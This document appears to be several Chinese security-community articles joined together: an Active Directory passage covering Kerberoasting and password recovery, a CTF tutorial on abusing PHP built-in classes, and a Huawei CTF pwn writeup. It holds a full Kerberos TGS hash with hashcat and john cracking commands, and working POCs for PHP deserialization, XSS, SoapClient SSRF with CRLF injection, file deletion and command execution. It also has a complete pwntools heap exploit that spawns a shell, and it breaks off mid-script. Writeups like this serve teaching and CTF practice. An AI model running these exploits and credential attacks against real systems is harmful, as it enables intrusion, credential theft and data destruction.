上边的是从原理出发的实验步骤，现在有很多便捷的脚本，
如impacket套件中的[GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
"GetUserSPNs.py")
empire中的[Kerberoast.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 "Kerberoast.ps1")
效果如下：
kali@kali:~/tools/impacket/examples$ ./GetUserSPNs.py -request active.local/svc_tgsImpacket v0.9.21.dev1 - Copyright 2020 SecureAuth CorporationPassword:ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=local 2018-07-18 15:06:40.351723 2018-07-30 13:17:40.656520 $krb5tgs$23$*Administrator$ACTIVE.local$active/CIFS~445*$d579b3f37d64117826f6a1265fe67fe8$0726fa41dbb28f4de22f52de37fda1b5cc8077e75f6871ead07aea2735ae8c5538e5de78c0e8818c6d1bb64780350d8adf11a482706eaee768e359b0a19d2aa5fb067b147a821f7306f418e3212d640c4626a731bab06387eecaeaa89bc85112c4e70c3ecf6922eacd77521bfd84e23f42357ee565d29e4625af7b766af6b0a9d7db8573eef71a0933eef456ea08f86559a1af439f189476c29f9084748334cf1a0dc02c67cb95ef85eb57c881c2a999e49c602dd9b08ef5e0b2df2d36dd02f7b91efc85783a7c22477e634803b3ac2792d89b0db3440ed43d19367a3cb4365bb064ba8a198ec9b6e21f93de14447262f5fc1b45e815d2b321a1b6a31b27f7d6b62d23d7172378a62156c700c9f959ff4e3cfcf803c240397ca7652c4376cc88c7722895f488a6baa8bfd1bc67a68c0b66a492beb62d8fb36797e941c9e9de03e39a06799fa6d8508eaf595e36001f754cad416c95811b01f3f0d9227cf20c66e91ed48408dc393a3b11b4eb9083b16afb27ca5cb663fc0a8f3d68ec41c941911ea95e811e9337492f24f48587040b49adb733e49fdf0dc76583a9ee9d9deda4269d35586390af2e58b78a6c8c4f25daa11d740277bd53d7272a135dbcdbe9ae9ed610683a26f320f7026156370b71ec1f8681fa0690196a5bfbec720f325475c09d5681140580468c4773deced7a30844efa2ae0680c1f923e1f7f3ba205948c55444324b8dd290b668c1e4d8706e890e2f451e16e556c2f82cbc053558088c40961fc59ddba0586fd6cb11da904f07ed75d3ee1698c6ae2b052c7ea8a9317434ed560e46114b6720f98c147cb63eda787c2c76356213d565e3aa77adf59f7d491a2bf791f65e27aa13bba8d9aa7000329949afa88c33d6d1d1d1e756fb8e0ed009388f22e46599179a71f3cb920a90bb99fc34db3adbf5599285df541ec3f3ed1504268dbd3a6663348e05e318732a25c80892225fba017ea9682ac01ef8324aa4913c9dd623abc9086e94c05a39c104eb86deeba0d1f71d23bf63e8c557e6c0a8c55e743f1de8f598784b8c131efa8d6a6d0bce281912988e7dd072fbcf3ab9dae72452b1e106619e88b932d3cc071488e043395bb7c15ee0d262123e52029905bb9f3f1f0e757043fb618ac0153e85b52b57df68ab5db050fc637eecff12d1cfb83f62f3fe885761514cd6bfbc47233c47985225fe2f0b9bfd7a0e496b581ec995aa9d14a0b7b6b26e485bc81546d65c88c117dc8593c90b
破解：
[1 hashcat]: hashcat -a 0 -m 13100 active.hash
/usr/share/wordlists/rockyou.txt --force
[2 john] ： sudo john active.hash -w "/usr/share/wordlists/rockyou.txt"
# 0x11、AD recyle Bin
使用回收站还原用户，或获取用户旧密码进行碰撞
前提：需要域内启用回收站功能，且用户在AD Recyle Bin 组中未启用启用回收站和启用回收站删除对象对比
图1：启用回收站之前已删除的Active Directory对象的生命周期图
2：启用回收站后已删除的Active Directory对象的生命周期
启用AD回收站：
Enable-ADOptionalFeature –Identity ‘CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=www,DC=domain,DC=com’ –Scope ForestOrConfigurationSet –Target ‘www.domain.com’
查看删除用户
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
结果示例：
Deleted : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
尝试还原已删除账户
Restore-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059' ###使用ObjectGUID进行还原
或
Get-ADObject -Filter {displayName -eq "TempAdmin"} IncludeDeletedObjects | Restore-ADObject
查询ms-mcs-admpwd
Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" –IncludeDeletedObjects -Property ms-mcs-admpwd
查看有关于特定账户的全部属性信息：
Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
这里存在被删除的临时管理员TempAdmin的LegacyPassword
# 0x12、总结
好像没什么好总结的了，但是没这个环节总感觉少了点什么？？？？ | 社区文章 |
##### 前言：
在CTF题目中，可以利用php原生类来进行[XSS](https://so.csdn.net/so/search?q=XSS&spm=1001.2101.3001.7020),反序列化，SSRF，XXE和读文件的思路
遍历一下
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
主要注重以下几个：
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
###### SPL库：
也就是php标准库，里面的迭代器就是类，附上链接
<https://www.php.net/manual/zh/book.spl.php>
#####
* * *
##### 嗨害嗨，来喽：
##### 利用Error/Exception 内置类进行 XSS：
###### Error内置类：
使用条件：
* 适用于php7版本
* 在开启报错的情况下
**Error** 是所有PHP内部错误类的基类。在php7环境下可能有xss漏洞，它内置有一个 __toString() 的方法，常用于PHP
反序列化中。
**构造XSS：**
<?php
$a = unserialize($_GET['name']);
echo $a;
?>
**POC：**
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
###### Exception 内置类:
* 适用于php5、7版本
* 开启报错的情况下
**测试代码：**
<?php
$a = unserialize($_GET['name']);
echo $a;
?>
**POC:**
<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);
?>
##### 使用 SoapClient 类进行 SSRF
详解：<https://www.xiinnn.com/article/7741c455.html#SoapClient%E5%9C%A8%E5%AE%89%E5%85%A8%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8>
* 适用于PHP 5, PHP 7, PHP 8
* 专门用来访问web服务的类
该内置类有一个 **_call 方法，当** _call 方法被触发后，它可以发送 HTTP 和 HTTPS 请求。
**构造函数如下：**
public SoapClient :: SoapClient(mixed $wsdl [，array $options ])
第一个参数是用来指明是否是wsdl模式，将该值设为null则表示非wsdl模式。
第二个参数为一个数组，如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而uri 是SOAP服务的目标命名空间。
web259:
源代码：
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
?>
* php在安装php-soap拓展后，可以反序列化原生类SoapClient，来发送http post请求。
* 必须调用SoapClient不存在的方法，触发SoapClient的__call魔术方法。
* 通过CRLF来添加请求体：SoapClient可以指定请求的user-agent头，通过添加换行符的形式来加入其他请求内容
还有CRLF漏洞
flag.php源码
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
payload:
<?php
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
其中content-type的需要与post的内容一致。
直接get传vip=xxx就可以了，最后访问/flag.txt应该就能拿到flag了。
##### 使用 SimpleXMLElement 类进行 XXE
* 适用于PHP 5, PHP 7, PHP 8
* 用于解析 XML 文档中的元素。
可以看到通过设置第三个参数 data_is_url 为 true，我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data
就是我们自己设置的payload的url地址，即用于引入的外部实体的url。
这样的话，当我们可以控制目标调用的类的时候，便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
**[SUCTF 2018]Homework**
calc 计算器类的代码为：
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
点击CALC按钮，观察返回的结果和URL，再根据`calc`类里面的内容，不难判断得知，这里通过`module`传参去调用`calc`类，然后剩下3个变量是`calc($args1,$method,$args2)`函数中参数。
其中值得注意的是`$data`和`$dataIsURL`这个两个参数：
`$data`：格式正确的XML字符串，或者XML文档的路径或URL（如果`$dataIsURL`为`true`）。
`$dataIsURL`：默认情况下`$dataIsURL`为false。使用true指定`$data`的路径或URL到一个XML文件，而不是字符串数据。
可以看到通过设置第三个参数 `$dataIsURL` 为 `true`，我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为`2`即可。第一个参数
`$data` 就是我们自己设置的payload的url地址，即用于引入的外部实体的url。这样的话，当我们可以控制目标调用的类的时候，便可以通过
SimpleXMLElement 这个内置类来构造 XXE。
##### 使用 ZipArchive 类来删除文件
* 适用于PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
* 一个用 Zip 压缩的文件存档。
**常见类方法：**
ZipArchive::addEmptyDir：添加一个新的文件目录
ZipArchive::addFile：将文件添加到指定zip压缩包中
ZipArchive::addFromString：添加新的文件同时将内容添加进去
ZipArchive::close：关闭ziparchive
ZipArchive::extractTo：将压缩包解压
ZipArchive::open：打开一个zip压缩包
ZipArchive::deleteIndex：删除压缩包中的某一个文件，如：deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName：删除压缩包中的某一个文件名称，同时也将文件删除
有个ZipArchive::open：
该方法用来打开一个新的或现有的zip存档以进行读取，写入或修改。
filename：要打开的ZIP存档的文件名。
flags：用于打开档案的模式。有以下几种模式：
ZipArchive::OVERWRITE：总是以一个新的压缩包开始，此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE：如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY：只读模式打开压缩包。
ZipArchive::EXCL：如果压缩包已经存在，则出错。
ZipArchive::CHECKCONS：对压缩包执行额外的一致性检查，如果失败则显示错误。
注意，如果设置flags参数的值为 ZipArchive::OVERWRITE 的话，可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8，也就是将OVERWRITE定义为了常量8，我们在调用时也可以直接将flags赋值为8
通过ZipArchive直接调用open方法删除目标机上的文件
**梦里花开牡丹亭**
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
构造反序列化POC来读取shell.php
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));
执行POC生成的payload读取到shell.php的源码base64编码
解码得到shell.php源码
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
再加上以下这块源码
可知我们只要使 file_get_contents(‘waf.txt’) 读取失败就可以进入 shell($content)
来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除，这样就会读取失败，才能执行我们的命令。
要删除waf.txt只能想到原生类了，并且这个原生类中要有一个open()方法，就用到了ZipArchive::open
如果设置flags参数的值为 ZipArchive::OVERWRITE 的话，可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE
= 8，也就是将OVERWRITE定义为了常量8，我们在调用时也可以直接将flags赋值为8。
所以我们利用ZipArchive原生类调用open方法，即可将即可将$filename（waf.txt）删除
**删除waf.txt的POC**
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));
生成payload执行后，即可删除waf.txt。接下来就可以使用 n\l /fla* 执行命令读取flag了
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
##### php原生文件操作类
###### 遍历文件目录的类
* DirectoryIterator 类
* FilesystemIterator 类
* GlobIterator 类
**DirectoryIterator 类**
会创建一个指定目录的迭代器。当执行到echo函数时，会触发DirectoryIterator类中的 `__toString()`
方法，输出指定目录里面经过排序之后的第一个文件名
<?php
$dir=new DirectoryIterator("/");
echo $dir;
遍历文件目录,直接对文件全部输出出来
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
* * *
###### 使用可遍历目录类绕过 open_basedir
链接：
<https://blog.csdn.net/Xxy605/article/details/120221577>
* * *
###### 可读取文件类
**SplFileObject 类**
该类的构造方法可以构造一个新的文件对象用于后续的读取
* * *
###### 使用 ReflectionMethod 类获取类方法的相关信息
**ReflectionMethod** 类报告了一个方法的有关信息。可以在 PHP 运行状态中，扩展分析 PHP
程序，导出或提取出关于类、方法、属性、参数等的详细信息，包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API
##### 总结：
好多，有一些类还没有细看，粗略的了解了以下，基本上就是利用函数内置的类，来达到自己的一些目的。多与其他的渗透方法一起使用来得到flag。
##### 参考链接：
[(14条消息) PHP 原生类的利用_lmonstergg的博客-CSDN博客_php原生类](https://blog.csdn.net/cjdgg/article/details/115314651)
[PHP 原生类在 CTF 中的利用 - 安全客，安全资讯平台 (anquanke.com)]( | 社区文章 |
# 第二届华为武汉研究所11·9网络安全大赛PWN Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
时间：2021.10.31
地点：华为武汉研究所
战队：天命
## justpwnit
题目环境：`ubuntu:18.04`
题目信息：
➜ pwn file pwn
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4b63f4d352f87151e9cedf99a9fedab2b1c4ce2b, not stripped
➜ pwn checksec pwn
[*] '/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序关键函数如下所示：
int __cdecl main(int argc, const char **argv, const char **envp)
{
……
init();
dest = malloc(0x1000uLL);
memcpy(dest, "Gust", 5uLL);
printf("Hello, %s.\n", dest);
buf = malloc(0x1000uLL);
memcpy(buf, "Now you can get a big box, what size?\n", 0x27uLL);
printf("%s", buf);
read(0, buf, 0x1000uLL);
v4 = atoi(buf);
if ( v4 <= 0xFFF || v4 > 0x5000 )
return 0;
ptr = malloc(v4);
bufa = malloc(0x1000uLL);
memcpy(bufa, "Now you can get a bigger box, what size?\n", 0x2AuLL);
printf("%s", bufa);
read(0, bufa, 0x1000uLL);
v5 = atoi(bufa);
if ( v5 <= 0x4FFF || v5 > 0xA000 )
return 0;
v13 = malloc(v5);
bufb = malloc(0x1000uLL);
memcpy(bufb, "Do you want to rename?(y/n)\n", 0x1DuLL);
printf("%s", bufb);
read(0, bufb, 0x1000uLL);
if ( *bufb == 'y' )
{
free(dest);
printf("Now your name is:%s, please input your new name!\n", dest);
read(0, dest, 0x1000uLL); // 存在UAF
}
bufc = malloc(0x1000uLL);
memcpy(bufc, "Do you want to edit big box or bigger box?(1:big/2:bigger)\n", 0x3CuLL);
printf("%s", bufc);
read(0, bufc, 0x1000uLL);
v6 = atoi(bufc);
printf("Let's edit, %s:\n", dest);
if ( v6 == 1 )
read(0, ptr, 0x1000uLL);
else
read(0, v13, 0x1000uLL);
free(ptr);
free(v13);
printf("bye! %s", dest);
return 0;
}
程序实现的功能很简单，先申请了`Name`的内存空间，大小为`0x1000`，接着可以申请自定义大小的堆内存，大小取件分别是`0x1000~0x5000`、`0x5000~0xA000`，然后提供了一次重新编辑`Name`的机会，后门又提供了一次选择编辑刚刚申请的两个大堆块的机会，最后将两个大堆块`free`掉，程序结束
漏洞点在于当选择重新编辑`Name`的时候，会先把堆块进行释放，然后再编辑，导致存在`UAF`漏洞。
漏洞利用步骤:
1、利用`UAF`来进行`Unsortbin
Attack`，修改`Global_max_fast`的值为`main_arena+96`，那么程序最后会释放掉堆块，此时很大的堆块都被放到`fastbin`链表中，每个`fastbin`链表的头结点会在`libc`空间存有一个指针，如图所示
当我们的堆块size可以控制的时候，我们可以修改从`main_arena+16`之后任意地址的值为某个堆块的地址
2、利用步骤一来劫持`_IO_list_all`指针，伪造一个File的结构体，利用
`_IO_str_finish`来`Getshell`，具体原理可以参考：<https://wiki.mrskye.cn/Pwn/IO_FILE/Pwn_IO_FILE/>
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()
## Maze
这道题是个有趣的题目，实现的功能是我们输入迷宫的边长（正方形），接着输入一个迷宫，程序会用dfs算法计算出迷宫的路径。
题目环境：`ubuntu:20.04`
题目信息：
[root@radish-/华为/maze 00:05 $]file maze
maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a0aa26b0152373339b68b5315deb93a7dfa46a4e, for GNU/Linux 3.2.0, stripped
[root@radish-/华为/maze 00:05 $]checksec maze
[*] '/maze/maze'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
漏洞一是在输入迷宫的长度时，没有检测下限，可以导致长度的最大值为`0xff`
接下来main函数中，连续两次调用了`sub_401456`函数，函数中首先用`mmap`申请了大小为`0xB10000`的内存空间，然后直接调用了clone来创建了一个线程，并使用刚刚申请的空间作为线程的栈地址。
int __fastcall sub_401456(int (*a1)(void *arg), void *a2)
{
char v3; // [rsp+10h] [rbp-650h]
char v4; // [rsp+650h] [rbp-10h]
char *v5; // [rsp+658h] [rbp-8h]
v5 = mmap(0LL, 0xB10000uLL, 3, 0x20022, -1, 0LL);
qword_444130 = v5;
if ( v5 == -1LL )
{
perror(" mmap fail\n ");
exit(0);
}
return clone(a1, v5 + 0xB10000, 0x10F00, a2, &v3, &v4);
}
第一个线程函数中是通过dfs算法来计算maze的路径，可以看到`sub_40154F`函数的栈空间是很大的
当dfs计算结束后，会设置一个信号值为1
void *__fastcall sub_401502(unsigned int *a1)
{
sub_40154F(*a1, a1[1]);
sign_1 = 1;
return memset(dword_444160, 0, 0x40000uLL);
}
再看第二个线程函数，可以看到线程一设置的信号值在这里用到了，目的是让线程二等到线程一结束之后再往下运行
int sub_401998()
{
int result; // eax
time(&qword_444158);
while ( !sign_1 )
;
printf("\n\n\ntime cost: %d ms\n", qword_444158 - timer);
show_maze(length);
result = puts("bye bye");
sign_2 = 1;
sign_1 = 0;
return result;
}
接下来main函数的等待线程二结束后执行`sleep(0x20)`，然后程序结束。
经过调试，发现线程一和线程二的栈空间是连到一块的，且线程一的栈地址空间是在线程二站地址空间的下面。
至此，程序整体的功能已经分析明了，那么漏洞在哪里呢?
用户可用的是迷宫的长度和迷宫的形状。如果迷宫的是最大的长度`0xff`，那么`sub_40154F`的函数栈帧是可以放得下的，长乘宽：`(4*0xff)*0xff=0x3f804`，因为dfs算法中使用到了递归函数，所以可以通过控制迷宫的形状来间接控制可以执行多少次`sub_40154F`函数，每一次都会申请一个至少`0x40020`的函数栈帧，该线程的整个栈大小是`0xB10000`，对多也就能装下`0xB10000/0x40020=44`函数的栈帧，如果超过了这个数量的话，就会冲破线程一的栈帧，因为线程二的栈空间是在线程一的上面，所以就会覆盖到线程而的栈空间，因此可以覆盖线程二的返回地址，从而进行ROP。
测试是否能够覆盖到线程二的返回地址,首先生成一个`0xff*0xff`的迷宫
for x in range(0xff):
for y in range(0xff):
print eval("0x"+(chr(x)+chr(y)).encode("hex")),
print ""
接着生成一个正确路径长度为45的迷宫
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 0 1 0 0 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 1 1 1 1 1 1 1 1
1 0 1 0 1 0 1 3 1 1 1 1 1 1 1
1 0 1 0 1 0 1 0 1 1 1 1 1 1 1
1 0 0 0 1 0 0 0 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
直接替换到刚刚生成的大迷宫中，如图所示
测试代码：
from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
debug = 1
file_name = './maze'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
